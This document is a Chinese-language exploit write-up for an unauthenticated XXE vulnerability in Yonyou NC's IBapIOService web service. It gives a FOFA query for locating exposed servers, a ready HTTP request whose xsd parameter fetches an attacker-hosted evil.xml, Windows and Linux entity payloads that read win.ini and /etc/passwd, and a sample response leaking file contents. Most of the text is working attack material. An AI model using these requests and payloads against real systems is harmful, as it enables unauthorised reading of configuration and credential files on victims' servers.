

# Y4-5用友-NC-XXE

## 漏洞描述:

用友 NC 多处接口存在XML实体注入漏洞，未经身份验证攻击者可通过该漏洞读取系统重要文件（如数据库配置文件、系统配置文件）、数据库配置文件等等，导致网站处于极度不安全状态。

## 网站图片:



## 网络测绘:

### fofa语法:

app="用友-UFIDA-NC"

## 漏洞复现:

### payload:

```
GET /uapws/service/nc.itf.bap.service.IBapIOService?xsd=http://VPS/evil.xml HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Connection: close
Accept: text/plain, */*; q=0.01
Accept-Encoding: gzip
```

任意文件读取利用，需要VPS上建立对应操作系统的xml文件，然后开启http服务。xml文件如下

```
windows:
<?xml version="1.0"?><!DOCTYPE test [<!ENTITY name SYSTEM "file:///c://windows/win.ini">]>
<user><username>&name;</username><password>1</password></user>

Linux:
<?xml version="1.0"?><!DOCTYPE test [<!ENTITY name SYSTEM "file:///etc/passwd">]>
<user><username>&name;</username><password>1</password></user>
```

### 效果图:

## Request



数据包扫描

热加载

构造请求



```
1 GET /uapws/service/nc.itf.bap.service.IBapIOService?xsd=http://...evil.xml HTTP/1.1
2 Host: ...
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
4 Connection: close
5 Accept: text/plain, */*; q=0.01
6 Accept-Encoding: gzip
7
8
```

## Responses

179bytes / 498ms

```
1 HTTP/1.1 200 OK
2 Server: Apache-Coyote/1.1
3 Content-Type: text/xml; charset=utf-8
4 Date: Wed, 28 Feb 2024 11:11:11 GMT
5 Connection: close
6 Content-Length: 179
7
8 <?xml version='1.0' encoding='utf-8'>
9   [ fonts ]
10  [ extensions ]
11  [ mci: extensions ]
12  [ files ]
13  [ Mail ]
14  MAPI=1
15 </username><password>1</password>
```